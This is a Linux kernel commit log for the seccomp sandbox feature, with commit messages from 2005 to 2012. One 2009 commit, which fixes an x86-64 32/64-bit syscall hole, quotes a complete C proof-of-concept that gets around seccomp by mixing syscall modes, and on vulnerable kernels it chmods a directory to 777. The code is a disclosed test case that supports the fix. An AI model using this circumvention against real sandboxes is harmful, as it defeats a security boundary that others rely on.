2012-01-17seccomp: audit abnormal end to a process due to seccompEric Paris
The audit system likes to collect information about processes that end abnormally (SIGSEGV) as this may me useful intrusion detection information. This patch adds audit support to collect information when seccomp forces a task to exit because of misbehavior in a similar way. Signed-off-by: Eric Paris <eparis@redhat.com>
2009-03-02x86-64: seccomp: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
2007-07-16make seccomp zerocost in scheduleAndrea Arcangeli
This follows a suggestion from Chuck Ebbert on how to make seccomp absolutely zerocost in schedule too. The only remaining footprint of seccomp is in terms of the bzImage size that becomes a few bytes (perhaps even a few kbytes) larger, measure it if you care in the embedded.

2007-07-16move seccomp from /proc to a prctlAndrea Arcangeli
This reduces the memory footprint and it enforces that only the current task can enable seccomp on itself (this is a requirement for a strightforward [modulo preempt ;) ] TIF_NOTSC implementation).

2005-03-30[PATCH] seccomp for ppc64Andrea Arcangeli
This patch against 12-rc1 adds seccomp to the ppc64 arch. I tested it successfully with the seccomp_test. I didn't bother to change the syscall exit not to check for TIF_SECCOMP, in theory that bit could be optimized but it's an optimization in the slow path, and current code is a bit simpler. I also verified it still compiles and works fine on x86 and x86-64. Instead of the TIF_32BIT redefine, if you want to change x86-64 to use TIF_32BIT too (instead of TIF_IA32), let me know.

2005-03-07[PATCH] seccomp: secure computing supportAndrea Arcangeli
I'd need it merged into mainline at some point, unless anybody has strong arguments against it. All I can guarantee here, is that I'll back it out myself in the future, iff Cpushare will fail and nobody else started using it in the meantime for similar security purposes. (akpm: project details are at http://www.cpushare.com/technical. It seems like a good idea to me, and one which is worth supporting. I agree that for this to be successful, the added robustness of Andrea's simple and specific jail is worthwhile).
